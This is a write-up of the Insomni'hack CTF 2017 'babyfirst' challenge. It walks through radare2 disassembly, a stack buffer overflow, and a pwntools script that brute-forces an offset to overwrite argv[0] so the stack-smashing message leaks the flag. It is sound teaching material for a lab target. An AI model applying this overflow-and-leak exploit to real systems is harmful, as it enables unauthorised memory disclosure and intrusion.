Initial research and description
Baby first was one of the easiest pwn challenges at Insomi’hack CTF 2017 and has been solved by many teams.
There was an address (
babyfirst.insomni.hack:2324) and a binary provided in the description.
First, let’s check the binary with a file command:
1 |
babyfirst_6edc09c3c494d535faced5b95c61e234: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=9d979aeeb04a0f92bbc663f35db9744b3318611a, stripped |
This is a 64-bit Linux binary, so let’s check which security features are being used with checksec:
1 2 3 4 5 |
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) |
After running the application locally, we can see that it cannot read the flag file:
Can't read the flag file!
Unfortunately, the task’s host is offline now (it has been hosted internally, during the CTF only), so I will host it locally for the purpose of this writeup.
The analysis
Let’s open the application with radare2, analyze it with aaa and display all functions with afl:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
[0x00400830]> afl 0x00400830 42 1 entry0 0x00400758 8 1 sub.__libc_start_main_200_758 0x00400750 8 1 sub.setbuf_192_750 0x00400730 8 1 sub.puts_160_730 0x00400930 55 6 fcn.00400930 0x00400738 8 1 sub.fclose_168_738 0x00400b60 261 6 fcn.00400b60 0x00400770 8 1 sub.__strcpy_chk_224_770 0x00400970 757 11 fcn.00400970 0x00400748 8 1 sub.__stack_chk_fail_184_748 0x00400700 26 3 sub.__gmon_start___216_700 0x00400768 8 1 sub.__gmon_start___216_768 0x00400790 160 3 main 0x00400780 8 1 sub.fopen_240_780 0x00400788 8 1 sub.exit_248_788 0x00400000 73 3 sym.imp.puts 0x00400860 50 4 fcn.00400860 0x00400760 8 1 sub.fgets_208_760 0x00400740 8 1 sub.strlen_176_740 0x00400778 8 1 sub.__printf_chk_232_778 |
Ok, radare2 correctly recognized the main function, so we can seek to it with s main and disassemble it with pdf (the output has been cleaned up for better readability):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
[0x00400790]> pdf ;-- section..text: / (fcn) main 160 | ; DATA XREF from 0x0040084d (main) | 0x00400790 488b3d891820. mov rdi, qword [rip + 0x201889] ; LEA obj.stdout @ 0x602020 | 0x00400797 53 push rbx | 0x00400798 31f6 xor esi, esi | 0x0040079a e8b1ffffff call sub.setbuf_192_750 | 0x0040079f 488b3d9a1820. mov rdi, qword [rip + 0x20189a] ; LEA obj.stderr @ 0x602040 | 0x004007a6 31f6 xor esi, esi | 0x004007a8 e8a3ffffff call sub.setbuf_192_750 | 0x004007ad be17194000 mov esi, 0x401917 ; "r" @ 0x401917 | 0x004007b2 bf19194000 mov edi, str.flag.txt ; "flag.txt" @ 0x401919 | 0x004007b7 48c705be1820. mov qword [rip + 0x2018be], 0 | 0x004007c2 48c705bb1820. mov qword [rip + 0x2018bb], 0 | 0x004007cd 48c705b81820. mov qword [rip + 0x2018b8], 0 | 0x004007d8 48c705b51820. mov qword [rip + 0x2018b5], 0 | 0x004007e3 e898ffffff call sub.fopen_240_780 | 0x004007e8 4885c0 test rax, rax | ,=< 0x004007eb 7428 je 0x400815 | | 0x004007ed 4889c3 mov rbx, rax | | 0x004007f0 4889c2 mov rdx, rax | | 0x004007f3 be20000000 mov esi, 0x20 | | 0x004007f8 bf80206000 mov edi, 0x602080 | | 0x004007fd e82e010000 call fcn.00400930 | | 0x00400802 4889df mov rdi, rbx | | 0x00400805 e82effffff call sub.fclose_168_738 | | 0x0040080a 31c0 xor eax, eax | | 0x0040080c e84f030000 call fcn.00400b60 | | 0x00400811 31c0 xor eax, eax | | 0x00400813 5b pop rbx | | 0x00400814 c3 ret | | ; JMP XREF from 0x004007eb (main) | `-> 0x00400815 bf22194000 mov edi, str.Can_t_read_the_flag_file_ ; "Can't read the flag file!" @ 0x401922 | 0x0040081a e811ffffff call sub.puts_160_730 | 0x0040081f bf01000000 mov edi, 1 | 0x00400824 e85fffffff call sub.exit_248_788 \ 0x00400829 0f1f80000000. nop dword [rax] |
As we can see, the main function turns off buffering for stdout and stderr, opens a flag.txt file for reading, if it succeeded, calls function fcn.00400930 with the parameters 0x602080, 0x20 and FILE pointer, closes the file, and calls fcn.00400b60.
We’ll now create the flag.txt file with Fake__Flag__For__The__Writeup as content (unfortunately, we have lost the real flag) and host it locally with socat:
1 |
socat TCP-LISTEN:2324,reuseaddr,fork EXEC:./babyfirst_6edc09c3c494d535faced5b95c61e234,pty,stderr,setsid,sigint,sane |
Now, connect to it with netcat:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
$ nc localhost 2324 Your name please? CodiSec Your last wish before dying? asdf __^__^___^___^__^__ ___/__ ========= __\___ _/___ \___________/ ___\_ _^_^_^__ _^_ < /< < < < < > > > > >\ > _^_ __^_^_^_ /|| ^ ^ ^ |v| ^ \ /____________ = === = ____________\ / ^ |v| ^ ^ ^ ||\ /_|| ^ ^ ^ ||| ^ | _/__/__/__/___\_______/___\__\__\__\_ | ^ ||| ^ ^ ^ ||_\ /__|| ^ ^ ^ ||| ^ |-------| \___________________/ | |-------| ^ ||| ^ ^ ^ ||__\ <| _|| ^ ^ ^ ||| ^ | | | | \_________________/ | | | | ^ ||| ^ ^ ^ ||_ |> <| _|| ||| | | | | \_______________/ | | | | | ||| ||_ |> <| __|| v v v ||| v |_|__|__| | |__|__|_| v ||| v v v ||__ |> \ _|| v v v ||| v |_|__|__| INS{*****************************} |__|__|_| v ||| v v v ||_ / \ || v v v ||| v | | | | | v ||| v v v || / \||_v_v_v__|^|_v_/ <\ < < < > > > /> \_v_|^|__v v v_||/ \_________|__/ \___________ ___________/ \_________|__/ |______|__| \________/ _________ \_________/ |______|__| |________|__| \_________/ \__________/ |________|__| /__________|__\ \_____ \_________/ _____/ /__________|__\ |__ __ ____|_ | \__| _______ |__/ |__ __ ____|_ | _|______________|__|_ \____/ | \____/ _| || _ || |_ <| < < < > > |> |> \_________|_/ \ | || | | || | / | | |___|_| \| || | | || |/ <| < < < > > |> |> |___|_| |_____ - _____| | | | |___|_| |_| _| |_ |_| <| < < < > > |> |> __|___|_|__ |_________________| | | | ___/___________\___ |_______________| <| < < < > > > |> __/\__/\__/___/\__/\__/\__/\__\__/\__/\__ |___||___||___| |__________________|__| /____________ /\ /\ /\ ____________\ \___________________/ /__^__^__^___\ /\ _____ /\ /___^__^__^__\ \-------------/ </__^__^__^__^__\===/__^__\===/__^__^__^__^__\> \___________/ <|__^__^__^__^__^__^____^____^__^__^__^__^__^__|> <| _v__v__v__v__v__v____ v ____v__v__v__v__v__v_ |> <|__v__v__v__v__v__v____v____v__v__v__v__v__v__|> <\__v__v__v__v__v__v___v___v__v__v__v__v__v__/> \__v__v__v__v__v__v__v__v__v__v__v__v__v__/ Welcome to the rise of the machines CodiSec Are you ready to face us!?? |
It asks for two strings and then prints this fancy ASCII art. Let’s analyze it more deeply.
A brief analysis of call to fcn.00400930 (with command VV @ fcn.00400930) shows that it reads line up to 0x20 characters long from the flag.txt file to the buffer at 0x602080 and replaces the first occurrence of newline with null byte:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
=------------------------------= | [0x400930] | | (fcn) fcn.00400930 55 | | push rbx | | mov rbx, rdi | | call sub.fgets_208_760 ;[a] | | movzx eax, byte [rbx] | | cmp al, 0xa | | je 0x400962 ;[b] | =------------------------------= f t .-' '-------------. | | | | =-------------------= | | 0x400940 | | | test al, al | | | je 0x400962 ;[b] | | =-------------------= | f t | .--------' '---------. | | | | | | | =--------------------= | | | 0x400944 | | | | lea rdi, [rbx + 1] | | | | jmp 0x400954 ;[c] | | | =--------------------= | | v | | .' | | | | | .-----------. | | | =-----------------------= | | | | 0x400954 | | | | | movzx eax, byte [rdi] | | | | | mov rbx, rdi | | | | | add rdi, 1 | | | | | test al, al | | | | | jne 0x400950 ;[d] | | | | =-----------------------= | | | t f | | | .-' '---------------. | | | | | | | | | | | | | =-------------------= | | | | | 0x400950 | | | | | | cmp al, 0xa | | | | | | je 0x400962 ;[b] | | | | | =-------------------= | | | `---------' t | | | '-----------. .-'-----'-----' | | | | | | =-------------------= | 0x400962 | | mov byte [rbx], 0 | | pop rbx | | ret | =-------------------= |
We’ll now analyze the fcn.00400b60 function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
=--------------------------------------------= | [0x400b60] | | (fcn) fcn.00400b60 261 | | sub rsp, 0x38 | | mov edi, str.Your_name_please_ | | mov rax, qword fs:[0x28] | | mov qword [rsp + 0x28], rax | | xor eax, eax | | call sub.puts_160_730 ;[a] | | mov rdx, qword [rip + 0x2014ab] | | mov esi, 0x20 | | mov rdi, rsp | | call fcn.00400930 ;[b] | | mov edx, 0x20 | | mov rsi, rsp | | mov edi, 0x602060 | | call sub.__strcpy_chk_224_770 ;[c] | | mov edi, str.Your_last_wish_before_dying_ | | call sub.puts_160_730 ;[a] | | mov rdx, qword [rip + 0x20147b] | | mov esi, 0x190 | | mov rdi, rsp | | call fcn.00400930 ;[b] | | mov edx, 0x190 | | mov rsi, rsp | | mov edi, 0x6020a0 | | call sub.__strcpy_chk_224_770 ;[c] | | xor eax, eax | | call fcn.00400970 ;[d] | | mov rax, qword [rsp + 0x28] | | xor rax, qword fs:[0x28] | | jne 0x400bf0 ;[e] | =--------------------------------------------= f t .---' '---------------. | | | | =----------------= =----------------------------------------= | 0x400beb | | 0x400bf0 | | add rsp, 0x38 | | call sub.__stack_chk_fail_184_748 ;[f] | | ret | =----------------------------------------= =----------------= |
It stores the security cookie on the stack, allocates local buffer of size 0x28 (40) bytes, asks for the name (reads 32 bytes) and copies it to the buffer at
0x602060.
It then asks for another string, reads 0x190 (400) bytes of data to local buffer and copies it to buffer at
0x6020a0. After that it calls the function printing ASCII art and checks the stack cookie.
As we can see, there can be a stack buffer overflow while the second string is being read. Let’s try to write more than 40 bytes:
1 2 |
$ python -c "print('CodiSec'); print('A' * 41)" | nc localhost 2324 *** stack smashing detected ***: ./babyfirst_6edc09c3c494d535faced5b95c61e234 terminated |
The original challenge has been configured the same way: it was passing “stack smashing detected” message through the socket. This is why we use socat with pty,stderr,setsid,sigint,sane options to host this binary locally.
The exploit
The “stack smashing detected” message contains the name of the application, which is read from the stack (there is a pointer to this string somewhere on the stack – it was passed as an
argv[0] parameter to the
main function).
As we can see earlier, PIE is not enabled and the flag is read into the memory offset
0x602080.
If we can overwrite the
argv[0] pointer with the address of the buffer containing flag, it will be displayed as an error message.
We could do that by analyzing the stack locally in gdb and calculating approximate offset or by bruteforcing the offset with a simple Python script. Let’s do it with the script this time:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
from pwn import * host = 'localhost' port = 2324 binary_name = 'babyfirst_6edc09c3c494d535faced5b95c61e234' flag_buffer_addr = 0x602080 # Address of buffer with the flag # Buffer size is 40 bytes. Reading is limited to 400 bytes. for i in range(40, 401): log.info('Trying offset %d...' % (i - 8)) try: r = remote(host, port) # Send name, then long line with address at the end of it r.sendline('CodiSec') r.sendline('A' * (i - 8) + p64(flag_buffer_addr)) data = r.recvuntil(' terminated', 2) data = data.split(' ')[-1] # If there is no application name in the response, and it is not empty we have a flag if binary_name not in data and len(data) > 0: log.info('FLAG: INS{%s}' % data) break r.close() except EOFError: r.close() |
After a while of bruteforcing we get the flag:
1 2 3 4 |
[*] Trying offset 296... [+] Opening connection to localhost on port 2324: Done [*] FLAG: INS{Fake__Flag__For__The__Writeup} [*] Closed connection to localhost port 2324 |
Is it possible to upload a copy of the
babyfirst
binary, so I can follow along your writeup, please?Done. You can find it here.